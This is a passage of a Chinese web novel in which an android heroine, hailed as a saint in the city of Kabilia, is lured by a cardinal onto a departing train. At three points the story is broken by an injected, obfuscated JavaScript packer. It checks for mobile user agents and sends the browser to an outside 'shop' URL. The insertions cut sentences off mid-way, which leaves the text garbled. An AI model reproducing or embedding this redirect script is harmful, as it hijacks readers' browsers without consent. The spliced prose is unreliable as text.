周向青有点懵。“所以胖球的脚环里,就是他的银行账号和密钥?那这是他存的私房钱?那我们好不容易才走到这一步……” 她一下子泄了气。 但姜原摸着下巴说:“倒也不是。人才贸易银行并不是普通的银行。它对钱的概念和其它地方并不一样……有点难解释。说的简单一点,他那里存的并不是钱,而是人。” “存……人?”周向青有点难以想象。她能想到的就是一个大屋子,里面摆着很多笼子,笼子里关着人,有多有少。“那不就是监狱吗?” “你在说什么啊。他们‘存人’是因为,每个人都有自己的劳动技能,而人通过劳动就可以创造很多价值。所以,真正的价值不在于金银或钞票,而在于人本身。于是他们就产生了一种思路:既然占有财物的价值,本质上仍旧是占有人的价值,那么为什么不直接占有人呢?” “直接占有人……怎么占有?” “就像介绍工作差不多,或者劳务派遣。我也说不太清楚。但总之,在人才贸易银行里存的并不是私房钱,而是一些像人名一样的东西。他们就是用这些人名来交易。” “那到底是在交易什么?贩卖奴隶吗?”周向青不解地问。 “不是。怎么可能真的把活人拿去交易?但交易的细节,我也不太清楚。我当时只是任务需要才在那边开了户,但根本搞不明白人家的游戏规则,最后赔得锅干碗净,只剩下这张卡做个纪念。” 姜原叹了口气,又说:“总之,我觉得这个也并不是一点钱那么简单。感觉他就是在跟你玩什么……” “寻宝游戏。”周向青说。 “对。寻宝游戏。”姜原说。“但在卡比利亚这边,大概是没法查看这个账户里到底有什么的。” “那岂不是说……”要到公司那边去才行吗? “枢机主讲大人到——!” 枢机主讲程光颢穿着他的红色长袍,在四名侍卫的簇拥下走进大博物院的厅堂。卡比利亚大主讲带着他的僚属赶忙上前迎接,大概他们也没想到,枢机主讲来得如此突然。 姜原和周向青也没想到会跟这个场面直接撞上。他们赶忙退到一边,但枢机主讲的目光已经飘上了姜原的脸,又在周向青的衣服上略微停留,然后若无其事地移开了。朱启儒大主讲则对他们微微一点头,随后陪同枢机主讲一道继续向会议室走去。 一行人进入会议室,卫士们随后闭上了门,守在门前。 “看起来他们可有的要聊了。”姜原打了个哈欠。“我们还是先找个地方休息一下吧。昨天晚上还真够长的。” 周向青也的确想换一件衣服。这身铠甲虽然穿着还算合身,但终究不算是日常用的服装。 他们走出大博物院的大门。让娜和胖球正在门前的树下等着他们。原本聚集在这里的人群都已经不见了,大概是枢机主讲的车驾将他们都驱逐了吧。 “大姐姐!”让娜欢呼着冲上去,抱住了周向青的腰。 “让娜!你是从哪里冒出来的?” “她说要一直等到你没事,接过说完没多久就吧唧一下断电睡着了。我就让赛德把她送到统修会的宿舍里先睡会。喂,小鬼头,我本来以为你得睡到中午,怎么这么快就醒了?” 让娜不满道:“是他们把我吵醒的。那些修士刚才梆梆地摔门,喊,圣女显圣了圣女显圣了,然后就把我吵醒了。但他们又不说圣女的事,一直在说什么打仗啊接任啊之类的,根本听不懂。然后我就跑出来等你。不过也好,如果他们没把我吵醒,也就等不到你了。”虽然是姜原问的她,但她全都是对着周向青在叽叽喳喳讲话。 周向青摸了摸她的脑袋。“好啦,我们一起去街上逛逛,找点东西吃。我觉得胖球也饿了,得给它也弄点吃的。” “刚才我跟胖球在这边捉了小虫呢!是不是呀胖球?” 胖球一本正经地答道:“胖球乖,哇是胖球。” 让娜嘿嘿地笑了,她松开周向青的腰,用自己的小脸去蹭八哥的羽毛。 姜原趁机在周向青耳边说:“你暂时先不要把那件事告诉别人。如果我们真的要去那边,最好不要让这些人知道。” 周向青点了点头。她看了看周围,又问:“对了,其他人呢?我记得你昨天好像还带着两个小孩?你昨晚就是去找他们的?” 姜原干笑了两声,说:“我才不是去找他们。那是我的两个后辈,早上人一多,就不见了。不过也无所谓,反正他俩还挺有能耐。……大概一时半会儿还死不了吧。”他最后有点惋惜似的,补了这么一句。 周向青猜到姜原大概也并不想说,也就不多问。她转移话题道:“好啦,那就不管他们。我们先回旅馆去,然后上街买点东西。这回我请你,当然,用你给我的钱。” “你们不用回‘八天半’了。”他们身后突然有人说道。 “赛德机师!”让娜开心地打招呼。 是赛德机师刚从大博物院里出来。他对让娜笑了笑,然后向刚回头的周向青鞠躬道:“圣女殿下,大主讲让我陪同你们去统修会的迎宾馆休息。” 周向青觉得有些尴尬。“你别这么叫,感觉很怪。” “抱歉。看到期待多年的圣迹就在眼前,我激动得有些失态了。请跟我来,迎宾馆就在内城对面,我们坐车过去。” 他们登上统修会的公务轿车,开过已经是废墟的大圣堂,发现那里已经被警戒线拦了起来,还有不少士兵把守。来围观的民众都被驱赶到墙外,不少人正在跟守卫的士兵理论。有两个人冲破警戒线,希望撕下一片已经枯萎的花瓣,但很快被赶来的哨兵压在身下。 车子按着喇叭,通过了临时架起的栅门。 “他们不应该这么干的。如果想要维持秩序,就应该真的维持秩序。而不是直接把人们阻挡在他们想要觐见的圣迹之外。”赛德透过黑色的单向玻璃望向车窗外,难过地摇着头。 “是呀。昨天晚上他们就不让我去圣女像那里。”让娜撅嘴道。 “但你本来就不该乱跑。”周向青刮了一下让娜的鼻子。 “所以这就是你昨天喝酒时候说的,‘净化自己’的办法?就是在这场冲突中拥立一个圣女吗?”姜原问赛德。 赛德当然听出了姜原的讽刺之意,但他现在不太有精神反驳。“找到圣女只是第一步。但关键是矫正我们的信仰。因此,剩下的道路更加艰辛。起初我并没有想到自己能有幸亲眼见证圣女草开花的圣迹,这是一个不错的开始;但可能这个圣迹对于……一些人来说,实在太有冲击性,所以反而遇到了很大的阻力。但我不认为这是不可克服的障碍。因为圣女殿下……啊,抱歉,因为您。您的存在就足以证明我们的前路是光明的,三元一体必然能够得到实现。” 赛德望着周向青的虔诚目光,如同如望着大圣堂中的圣女雕像。 “但是,我感觉大姐姐没有什么变化啊。”让娜说道。 “是,我也没有感觉自己有多大不同。”周向青说。 不。其实是有的。她现在的心情非常平静。但那种平静就像是一潭没有波澜,但也没有倒影的池水。平静得让人有些不安。 “但你当时怎么知道,那样可以让圣女草停下来?”她问姜原。 “这个很难说。当然不是什么圣女之类的迷信作用。我个人的解释是仿生人的植物逻辑与圣女草这种活化机械的逻辑有一定的相通之处。如果它受到你的逻辑信号的刺激,那么它的信号很有可能被你的信号所覆盖,因为你的神经系统要比它的更强大。”姜原回答。 “你说的那个‘很可能’,是什么意思?”周向青眯起眼睛。 “呃……就是……” “就是你也不确定,对吧?该不会有什么副作用吧?” “呃,我的确不太确定。应该不会有什么副作用……可能你身体的微量元素比例会有变化。不过我有点好奇,当时你是什么感觉?”姜原换了个话题。 周向青哼了一声,并没有回答姜原的问题,而是对赛德说:“你看,你说的那个圣迹,其实也并不是我有意促成的。所以,我觉得自己也……” “那没有关系。不如说,正是因为无意,所以才是圣迹。冥冥间已经注定,你会来到这里,会遇到圣女草,然后在圣女草的包围下,建立这种神圣的关联。” “我觉得,如果大姐姐是圣女,总比其他人是好。”让娜说。 周向青对这可爱的小姑娘微微一笑,然后摸了摸她的脑袋。 冥冥间已经注定? 倒不如说,是被“那个人”安排的吧? 如果“那个人”希望自己来这里,那他的目的到底是什么?难道他真的就可以预见,她一定会被这什么“圣女草”包裹起来吗? 就在此时,车子停了下来。 迎宾馆到了。 统修会的迎宾馆就在内城的东南方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088327|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这里好在没有被昨晚的攻击所破坏,就连外面标志性的,高高厚厚的树篱也还完整。迎宾馆并不特别大,但仍有自己特有的气质。整栋建筑呈一个倒V字形,在V字的开口处是一尊高大的全身像。那是一个短发长须的男人策马扬鞭,有棱有角的脸上一双深邃的眼睛望着前方。 环绕雕像底座的是一个喷泉水池,但大概是因为昨晚的缘故,此时喷泉已经关停了。水池里还装着灯。想必夜间开启喷泉和灯光之后,会非常气派。 “这位就是初代圣座。迎宾馆就是收复卡比利亚之后修建的,所以就把当时圣座的形象留存下来,作为这里的标志。”赛德介绍说。 “但我感觉,比起你们的圣座,你更喜欢把圣女挂在嘴边啊。这又是什么缘故?”姜原问。 “因为圣女就像大姐姐一样啊。啊,这个大姐姐不是大姐姐,而是大姐姐……反正就是大姐姐,但不是大姐姐。”让娜这话让周围的人都笑了起来。 “大姐姐!大姐姐姐姐姐姐……”胖球像是听到什么信号一样,鼓起胸膛叫着。然后莫名其妙地,最后全都变成了汽车的报警声。周向青捏住它的嘴,不断捋着它背后的毛,好不容易才让它安静下来。 赛德等那叫声彻底消失,才说:“圣座犹如我们的父亲,高大伟岸、令人钦慕,但离我们也更遥远。而圣女则类似他的长女,人们有什么事情,更乐意向她倾诉。而且,圣座最近似乎身体抱恙,已经很久不再露面,准备选择继任者了。某种程度上说……” “这也让你意识到,他更像一个实际存在的人。”姜原插嘴道。 “是。”赛德简短的答道,但他看了周向青一眼,又马上改口道:“但我并不认为‘实际存在’这点会妨碍一个人的神圣性。倒不如说,实际存在的圣人反倒更为难得,尤其是能够引发圣迹这点。圣座本人虽然提出了正确的理论,但这些年来,他的理论始终未能得到验证。也就是这样,才出现了各种各样曲解他教诲的人,以及背弃统修宗旨的人。所以我们内部的净化才势在必行。” “但你被赶了出来。”姜原一针见血。 “你就闭嘴吧。”周向青干涉道。赛德一说话,就让她想到圣女,继而想到今天早上围着她下拜的那些人。“我现在不想听你们讨论政治。而且你讨论的政治只不过是不着边际的大话。”但她随后意识到自己说得有点过分,于是赶忙找台阶道:“让娜肯定饿了吧,我们还是尽快去吃完饭休息一下。” 赛德点头答应。此时迎宾馆内的经理也得到通知,迎了出来。带着他们来到二楼的客房,请他们稍事休息,随后到餐厅用餐。 周向青走进客房的时候惊呆了。 这里的房间要比“八天半”大不知道多少倍。“相形见绌”这个词恐怕远远不能形容二者的差距,更别提其它方面了。她此刻觉得自己之前真的不过是生活在地洞里,什么都没有见过。这里的床大、柜子大、地毯大、沙发大、茶几大……什么都大。有的地方有精雕细琢的装饰,有的地方只是简单素色或是色块,但不管什么都看起来让人觉得舒服。 难道那些大主讲之类的人,平时就住在这种地方吗? 周向青摸摸这里,看看那里,拉开抽屉,揭开茶壶盖,打开电视,上面正在播放新闻:“在大主讲的英明领导下,米卡的部队已经从卡比利亚溃退,而边境敌军的攻势也被挫败。有传言说,这场战斗的胜利要归功于……” 在屏幕上闪过大圣堂的画面时,她关掉了电视。 如果他们平时就住在这种地方,真的不嫌太……那个吗?她打开洗手间的门,看着里面的瓶瓶罐罐、落地镜和白瓷浴缸。 就连浴室也比她的小房车要宽敞。她有点怀念她的小房车了。估计此时她的小房车已经被其它人捡走,修修补补,住进去了吧。 但另一个问题又浮现出来。“那个人”总不会只能住得起废坑那种地方吧?他为什么要把她留在那个废坑边上?留在那个小房车里? 如果那个人如今正在这世界的哪个地方,住在这么大、这么好的房子里,那她真的会非常非常生气。 周向青看着落地镜中的自己。 她穿一身溅着血点和污迹的白色铠甲,脸上也沾着灰土,戴着一顶和这铠甲不甚相配的红帽子,面甲翻起,贴在帽檐上,背后还背着一块盾牌,折刃和手铳插在腿边的皮带上。 看上去和这个地方颇不相称。 她这副脏兮兮的狼狈样子,这就是圣女吗? 她伸出手,看了看自己的手掌,微微握拳,然后又松开。 如果那些人要给她塑一座像,会是什么样子? 她希望至少能把她的大辫子留下来。她喜欢在向前冲锋的时候,辫稍扬起的感觉。她原地转了个圈子。 鞋子的力反馈鞋底在瓷砖地上划过,吱的一响。 她吓了一跳,赶开趴下身去,看看有没有把瓷砖搞坏。但当她趴下去的时候,又不由得笑了出来。她可是圣女呢!搞坏你们一块砖又怎样? 在她准备再转一个圈的时候,外面传来了清脆的敲门声。 “客人您好,午餐已经准备好了。” 外面的服务员说道。 39. 卡比利亚之夜24 偌大的餐厅里只有一张大大的圆桌,似乎表明今天除了他们几个以外没有别人。 姜原和赛德已经坐在桌边,而让娜带着胖球也紧跟着她来了。他们各自随意入座,但这次的桌子已经不像兔头店那样又小又方,他们为了说话方便,也只是坐在桌子的一侧。姜原和赛德隔得老远,所以周向青只好坐在他们中间。而让娜则一屁股坐到了周向青与赛德之间,想把赛德挤开。 赛德轻轻碰了一下让娜的肩膀,耳语了几句。让娜皱起眉,嘟着嘴,但还是乖乖换了个地方,开始往周向青和姜原中间挤。姜原则主动拉开了椅子。 服务员们开始上菜。周向青并不懂那些都是什么,只是觉得红红绿绿,还有些奇特的造型,煞是好看。让娜的眼睛瞪得溜圆,嘴巴张得老大,口水滴答,就差直接伸出手去抓了。胖球早就被她忘到了一边。 让娜盯着那桌菜看了好一会,才说:“我真的可以吃吗?” “可以呀。”周向青说道。就连她心里也忍不住有些跃跃欲试。 让娜迫不及待地伸出手去,很快她的嘴里、盘子里、手里就都是食物。她鼓着腮帮子想要说话,但又说不出来,只是呜呜的眨着眼睛。 周向青拈起筷子。她夹起自己面前盘子里的似乎是肉类的东西闻了闻。她能闻到一些气味,但没有“香”的感觉。她把那片肉送进口中咀嚼,但也尝不出什么味道。她也不知道自己能不能“消化”这些东西,便悄悄把那点肉吐进纸巾,然后又漱了漱口。 看到别人都忙着吃饭,周向青不免有些扫兴。于是她又撕下一点肉丝,递给一边的胖球,让它偶尔也来上一点奢侈的享受。胖球似乎早就等不及了,急忙叼过去,一蹦一蹦地跳到一边,自己吃了起来。周向青的心情算是好了一点,她又拿了一个空杯子,倒上水,放在地上,然后说:“等我们吃完饭,去商店里逛逛,买点鸟粮吧。而且我也得买做能量棒的材料。” 但还没等姜原回答,旁边的服务员却接话道:“街上的情况还没有恢复,所以还请允许我们代劳吧。鸟粮我们这就为您准备。而您要的那个‘能量棒’需要什么样的材料,我们也可以马上替您采购。” 周向青愣了一下。这还是头一次别人主动提出替她做事,她有点不太习惯。但她还是问服务员要了纸笔,然后把需要购买的东西写了下来。 服务员鞠躬收下,然后就离开了。周向青此时才注意到,在他们每人身后不远处都站着一个服务员。而自己身后的服务员离开之后,又有一个人马上补到了她的位置。 几分钟后,另一个服务员端着托盘出现了。里面放着几个小小的食盒,每个小格子里装着不同的东西,但总归是各类活虫、水果、以及碎蔬菜和谷粒等等。他把托盘放在一边的地上,然后对周向青说:“这是我们的宠物营养师搭配的八哥饲用食物,这些虫子都是人工养殖,您不必担心有病菌或有害物质。您若有其它需要,就请随时联系我们,我们会及时为您提供宠物的新鲜食物。” 这有点超出周向青的意料。胖球早就盯上了那盘子里的一只蚯蚓,只是那服务员没有离开,它不敢靠近。等服务员一走,它马上飞过去,叼起蚯蚓,又赶忙飞到一边吃起独食。 姜原看到了,便笑道:“一人得道,鸡犬升天。这小黑鸡大概从来没有过这种待遇。” 周向青皱眉道:“难道你就有过吗?” 姜原挺起胸膛:“我当然也没有啦。” “这也就是为什么要实现三元一体,”赛德说,“只有三元一体才能消灭人与人之间的不平等。” “但你为什么觉得所有人都变得一样,就能消灭不平等呢?这是一个复杂的世界,不是无数个同样的方格,你不可能把每个人塞到一个格子里,然后就宣布说消灭了不平等。人必然有分工,必然有地理或机会或别的什么差异,平等是一个动态的、相对的状态,而不是一个静止的绝对的标准。” “那你说,你怎么实现那种动态的、相对的状态?” “你真的要我说?” “你说啊?” “好。我觉得有一个可以尝试的方案,就是把人类完全的‘真社会化’,就像蚂蚁或蜜蜂一样。它并不是一种物质享受或者人生追求之类的平等,而是‘功能’的平等。个体意识被社会功能完全剥夺,所有人都只是一个零件,是整个种群的奴隶。那时候,人就平等了。” 赛德听到姜原的一番话,沉默了。他端起杯子,慢慢喝了一口水,才说:“他们都说我的想法激进,但我觉得你的想法才是真的激进。” 姜原笑了笑。“是吧?所以我并不追求平等。” “但你真的相信你刚才说的话吗?”赛德直视着姜原的眼睛。 姜原眨了眨眼,正要再说什么,却被让娜的一声“啊——吃的好撑!”打断了。让娜抱着自己滚圆的肚子,在椅子上摇摇晃晃。“不行了,我晕了。”她说。 姜原于是纵声大笑起来。 平等究竟是什么?周向青并不了解。她甚至都不算是一个人类。在姜原眼里她是一个特别的仿生人,在赛德和那些人眼里她是圣女。这当然不算是平等。 她在其他人眼里……不,在那个人眼里呢? 在那个人眼里,她是什么呢? 这个问题让她有些恼火。她发脾气道:“叫你们不要聊政治,还偏要聊。离开政治就不会说话了吗?让娜,我们待会去街上逛逛,买套衣服好不好?” 让娜肚子撑得痛,说不出话,但疯狂的点头表示赞同。 但后面的服务员再次插话:“抱歉,街上的情况还没有恢复。我们这里也为客人准备了正装、休闲装、泳装、运动服等等,如果您有需要,可以稍后在更衣室挑选。” 周向青没想到居然还能这样。“你们这里连衣服都有吗?” “虽然不是任何种类的服装都有,但临时使用还是没有问题的。” “可我不想穿别人穿过的衣服。” “请放心,客人。衣服是赠送而非租赁,不会有那种情况的。” “好吧。看来就是没有出去的必要咯。”周向青百无聊赖地说。 “如果想出去逛逛,那么不如就在卡比利亚多驻留一段时间吧?这附近有很多可以游览的地方。比如让娜村子上边有一座瀑布,旁边还修了一座小楼,那里算是一个不错的景点。他们那边有一种特色的烤鱼,很香很脆……反正,我们送让娜回家的时候,可以顺道去看看。” “什么?烤鱼?”让娜听到吃的,抬起头来。此时胖球也吃饱了肚子,飞到角落里的一棵盆栽上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赛德气愤不已:“你这是假传圣旨,我这就去问他!”他一面说着,一面向外疾走。但在一边的紫袍骑士骤然拔剑,剑尖顶上赛德的胸口。 徐正书冷笑道:“你说我假传圣旨?就是怕你这么闹事,枢机主讲才让他的贴身护卫跟着我一起来!圣座近卫队的纹章你总见过吧?如果还想要命,就先搞明白自己的本分。”他说完,转向周向青说:“能不能请您快一点准备呢,圣女大人?” 周向青心中有气,直接说:“用不着准备!直接走吧!” “随便你。那我们走。”徐正书对着紫袍骑士们一挥手,便转身离开。 周向青正要跟上去,赛德却说:“圣女殿下。抱歉这么叫您,但还是请您原谅。枢机主讲不可能对您是那种态度,他刚才还是支持我的看法的。他可能只是有点太难过了……因为我刚才跟他说话的时候,把你给我的,程光颐的银棘圣血徽章给了他,还告诉他说,这枚徽章是你戴着的。我本来是想让他明白您的重要性的,但他可能是有点太难过了,毕竟程光颐是他的亲生弟弟……” 程光颐?亲生弟弟? 碧蓝的天空下,一个骑士慢慢倒地。 周向青猛然回过身去,看着姜原的脸。 姜原的脸上没有任何表情。他慢慢地喝着杯子里的水。 40. 卡比利亚之夜25 周向青欲言又止,转过身准备离开房间。但胖球却叫了一声,扑啦啦飞上她的肩头。站在走廊里的徐正书看到八哥,皱起了眉头。 “什么脏兮兮的东西。” 胖球恶狠狠地大叫一声,瞪了回去。 “扁毛畜生!”徐正书伸手欲打,周向青却架住了他的手。 她现在心情正差。 徐正书正待发作,看到她的表情,哼了一声,甩手就走。 周向青跟着徐正书,走过迎宾馆的走廊,下了楼,然后抱着胖球坐上了车。 程光颐是枢机主讲的亲生弟弟。 那么,姜原杀了……不,实际上动手的是胡小姐。但姜原的确在那里。枢机主讲应该还不知道这一点。 如果他知道了会怎么办? 周向青并不知道姜原为什么要那么做。他们之后就没再讨论过那个问题。她能猜到,姜原大概是并不想把世界政府的最后一份文档拿给统修会。但他为什么不愿意,她就不知道了。 她不由得斜眼去看徐正书的表情,想从中看出这趟会面是吉是凶。但徐正书只是坐在副驾驶的位置上,冷冷地望着窗外,不发一语。 车子开进内城,停在大博物院的门前。徐正书刚要开门下车,他腰间的通讯器响了起来。 “徐正书。嗯。是吗?好吧。明白了。马上就到。” 徐正书回过头:“枢机主讲因为接到临时通知,他已经离开了——” 周向青松了一口气。 “——但他又打电话说,希望我们尽快赶到火车站,他想在离开前见你一面。” “啊?有什么非得面谈的事情吗?”她躲过这一劫的希望刚刚燃起,便又落空了。 “我不知道。枢机主讲的行程很紧。”徐正书拍了拍司机的肩膀,车子重新启动,绕了个圈,向内城外开去。 周向青觉得有点不对劲,但又说不上来哪里不对。 她掏出胖球的两枚脚环,重新套在胖球脚上,然后在车子再度驶过迎宾馆的时候,拉开窗户,把胖球直接扔了出去。 去找他们。她在心里默默地说。 她也不知道这样做到底对不对。但总比什么都不做要强。 车子没有直接开进火车站,而是沿着一条专门的通道,直接插到了一个小小的站台边。周向青跟着徐正书下了车。这个站台附近没有任何乘客,即便同样是在城市之中,却显得有些荒凉。 大概这就是专供枢机主讲登车的特别站台。而站台边的,则是枢机主讲这次乘坐的启明号列车。 周向青还是第一次看到火车。 这都是上个时代留下来的高速车头与配套车厢,只是统修会在子弹形的白色头部涂上了一个巨大的红色三角。这辆长长的火车看上去大概有十几节车厢,其中两节车厢上没有任何标志。 但车门处站着的紫袍骑士,标志着枢机主讲就在里面。 徐正书对着车厢一指,示意她上去。 “为什么要在车里跟我说话?”周向青问。 “不然呢?还让枢机主讲在外面恭候您圣女老人家大驾不成?”徐正书反问。 好吧,倒也没错。周向青只得钻进了火车的车厢。 枢机主讲的车厢看上去出乎意料的干净整洁,甚至有点“朴素”。因为这里没有多少精雕细琢的装饰,反而是迎宾馆给她的感觉更加奢华。 车厢地上铺了一张黑白格子的薄地毯,方方一圈布面沙发中间,是一张防撞耐磨的金属茶几,茶几上摆着一个烟灰缸和一套茶具,热水壶中正“啵啵”地烧着热水。沙发后面是隔开的卧室和盥洗室,门都敞开着,没有锁。从盥洗室里传出哗哗的水声。这节车厢与其它车厢的连接处的门是关着的,但上面仍然有一扇窗,上面挂着遮光窗帘。但她猜测,那边大概就是紫袍骑士们住的车厢。 周向青试探地问:“枢机主讲?” 盥洗室里传出一个声音:“请你先坐,马上就好。” 周向青连声答应,便坐在靠近门口的位置。 过了一会,水声停止了。而枢机主讲也从盥洗室里出来,坐在她的对面。他的手里拿着一个刚洗好的茶壶。他用手帕擦干茶壶,轻轻放在茶桌上,然后打开粗陶茶罐,用一个奇形怪状的小勺铲了一勺茶叶放进茶壶,注入一圈开水,摇一摇,让整个茶壶受热,等茶叶泡开后,又把茶壶里的水倒掉,重新加入第二道开水。 周向青看着枢机主讲自得其乐似的泡茶。她觉得对方似乎并不像是有什么急事的样子。但自己也不清楚此时该如何开口。 枢机主讲倒好热水,把烧水壶放回原位,然后说道:“我猜徐正书一定跟你说了很多硬梆梆的话吧。请你不要太介意。徐总队长也算是我的父执辈,他们那一代人既没有面对第一代那种创立基业的艰难境况,也没有适应我们这一代面对的复杂局势。他们的头脑有些僵化,很多时候反而还不如他们的上一代人看得通透。但我作为小辈,也不方便直接纠正他们,只能请你多包涵。” “这怎么好意思……”周向青挠着头皮。 “没有关系。事实如此。我和我的上上代人,比如朱大主讲,都更看重事实而非形式。大主讲对你赞誉有加,而他也是我推荐的下一届圣座人选。所以他相信的人,我也是相信的。这次如果不是你挺身而出,恐怕对方那两台巨大的机器人真的会摧毁卡比利亚内城,我们多年的心血也就毁于一旦了。而且,也会让朱启儒大主讲在继任考核上多了一道障碍。所以你是当之无愧的,我们的恩人。” “哪里……我也只是……”周向青挠着头皮。有人夸赞她让她很开心。何况对方还是一个位高权重的人。只是她对昨晚战斗的最后一部分,也就是圣女草将她包裹的那一部分也有些莫名其妙,所以这夸赞让她有些不好意思。 “所以,有人将你比喻为圣女,我也并不惊讶。朱启儒大主讲给我描述了今天早晨的情况。而我不得不说,即便是历史上真正的圣女,所创造的奇迹,大概也比不上你今天早上给人印象深刻。有一个小伙子跟我说,他相信你就是圣女,你就是我们多年来所期待的救赎,是来开导我们,引导我们走上正确道路的引路人。虽然他当时非常激动,说话也颠三倒四,但我乐于相信他心中的那种激情。这也就是你对于他们的力量。也就是真正的圣女所拥有的力量。对于这种力量,我是钦佩的。” 听到这里,周向青渐渐意识到了对方要说什么。 果然,对方继续道:“但是,徐总队长的态度你也看到了。如果我们此时贸然提出圣女的概念,势必会遇到非常大的阻力。朱启儒大主讲恐怕一时无法给你事迹的真实性背书。因为他们那一代人已经几乎是过去式了。而徐总队长,同时也是掌握着相当部分权力的那一代人,他们印象中的圣女,只是作为历史书和传说中的一个概念而存在。如果现在我们把你抬出来说,这就是圣女,我大概可以想象他们会说出多么难听的话。所以——” “没有关系。我并不想要什么圣女的名号。我在那个时候站出来,其实也是为了我自己。说起来可能有点复杂……”周向青犹豫了一下,但还是没有多做解释,只是继续说道:“但卡比利亚对于我来说,的确有非同寻常的意义。我凭着一时冲动跑进战场,其实并没有预料到会有这样的后果。所以枢机主讲大人,您真的不用那么为难,请您不用管我,就已经……” “不用管你?”枢机主讲哈哈笑了起来。“怎么可能不管你呢?你拯救了我们的圣城,就是我们的恩人;而你创造的奇迹,恐怕在我们还没有抵达石岗城之前,就已经先传到世界各处。随随便便把你撇到一边,于情于理都是不合适的。你放心,虽然有人会反对,但该做的事,我们不会不做。下一任圣座加冕应该就在最近几个月内,而加冕之后我们再来谈封圣事宜,就是比较合适的时间了。所以,我想请你跟我先到石岗城去,跟其它的枢机主讲见个面,也让他们了解一下你的事情。这样是比较合礼的安排,接下来的安排也就更顺利一些。” “抱歉。”周向青摇着头。“我还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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枢机主讲再次哈哈笑了。“的确,如果不是自信,你也不会在危急关头站出来,保卫一座跟自己几乎没有关系的城市。但我想说的是,你也应该多为你救下的那些人想一想。在危难之际,旦夕之间,他们期待着一位圣女一样的人物能搭救他们脱离苦海;而你偏偏在此时出现了,把他们从绝境中拯救出来,并且还似乎得到了圣女草的选择与祝福——有些人是这么形容的。尽管对你来说,可能只是举手之劳,顺便为之;但对于他们来说,这是他们人生中举足轻重的大事。你不止是拯救了他们的财产,他们的生命,更是赋予他们的生命一种新的解读方式。我刚才提到的那个年轻人——他叫什么来着?”枢机主讲望着周向青,似乎在向她询问。 “赛德。”周向青说。 “对,赛德。原来你也认识他。” “他是和我们一起到卡比利亚来的。” “他就认为你具有非比寻常的意义。因为你是一个仿生人,而且似乎跟我们的圣女草——活化机械,能够建立某种联系。他觉得,你,就是他用了整个人生去期盼的那件能够改变一切的一切的,最关键的那个人。”枢机主讲说到这里,稍稍沉默了片刻,又说道:“我觉得,你大概也有类似的执着吧?不然,也就不会那样站出来面对六七层楼高的钢铁怪物。但是,如果你执着的东西,对别人来说只是一件微不足道的小事——你跟他说:请你稍稍留步,解答一下我的困惑;而他却说:不了,我还有事要办——你会怎么想?” 列车摇晃了一下。 周向青猛地跳了起来,望向窗外。她感觉到列车正在启动。而她进来的门也不知什么时候已经关上了。戍守车外的紫袍骑士们也不见了。窗外的地面开始移动起来,慢慢地向后滑去。 “你、你干什么?为什么要开车?” “你不用急。这辆车规定11点45分从卡比利亚站发车,而现在已经23分了。它需要在11点半之前进站,让那里的市民上车。如果你想下车,可以在那里下去。” 周向青犹豫片刻,慢慢坐了下去。 “所以呢,你会怎么想?” 她不知道。 这也正是她最担心的事情。如果那个人——帕西瓦尔、弗莱——只是把自己当成一个有意思的玩具,她该怎么办?如果她的“寻宝游戏”继续走下去,只是一个空荡荡的结局,她应该怎么办? “我……我不知道。”她说。 火车慢慢行驶起来。小小的站台逐渐离他们远去。 41. 启明号列车01 赛德目送周向青离开之后,恨恨回到了自己的座位上。“真没想到会是这样。可能是枢机大人太难过了吧。” 姜原问:“你今天怎么跟他说的?” “我当时是在跟他讲我认定圣女的几个理由,然后我想起,圣女殿下给我的银棘圣血徽章还在我口袋里。我想,如果错过这个机会,就不知道下次什么时候才能见到枢机主讲,所以我就把徽章拿了出来交给他。当时他很吃惊。我说,这绝对是程光颐找到了他心中的圣女,所以才留给她这个徽章。然后枢机大人就让我来找你们,带你们到迎宾馆去。” “他没问你什么问题?” 赛德想了想,说:“他就是问我,为什么只跟据这个就判断她是圣女。然后我就回答,程光颐是我的学长,然后讲了一下当年的一些事情。然后他就说,他明白了,他支持我的看法。” “那个枢机主讲,程光颢,这么简单就认同了你对‘圣女’的看法?” “是啊。也没别的了。” 不对。不对劲。姜原皱眉沉思。 程光颢给他的感觉并不是这样。昨天晚上在大剧院里的感觉不是这样的。他不怀疑这对兄弟之间的感情。但他绝不认为这对成长经历与年纪都如此悬殊的兄弟,在‘圣女’这个问题上能有一致的看法。 他想干什么?这个枢机主讲想干什么? 枢机主讲程光颢,从统修会的首都石岗城,来圣城卡比利亚会见可能继任下一任圣座的卡比利亚大主讲朱启儒。 同时兄长程光颢,在石岗城得知弟弟程光颐在任务中殉职的消息,然后来到圣城卡比利亚,从两个不同的人那里听到了两个不同的关于自己弟弟的故事。 然后他会干什么?把兄弟的死因调查一个清楚明白? 姜原想起今天早上,在大厅中见到程光颢时的情况。他看到了姜原,但他的脸上没有任何表情。但他无疑是知道自己与周向青是认识的。 但他并没有叫自己和周向青一起去。说明不是为了他兄弟的事情。 那么他到底想干什么? 姜原用力摇了摇头。他不太清楚究竟是哪里不对,但一定有哪里不对。 “我们出去走走吧。”姜原站起来说。 赛德一脸讶异地望着他:“你不休息一下吗?” 而让娜也哼哼唧唧地说:“肚子撑——起不来——” 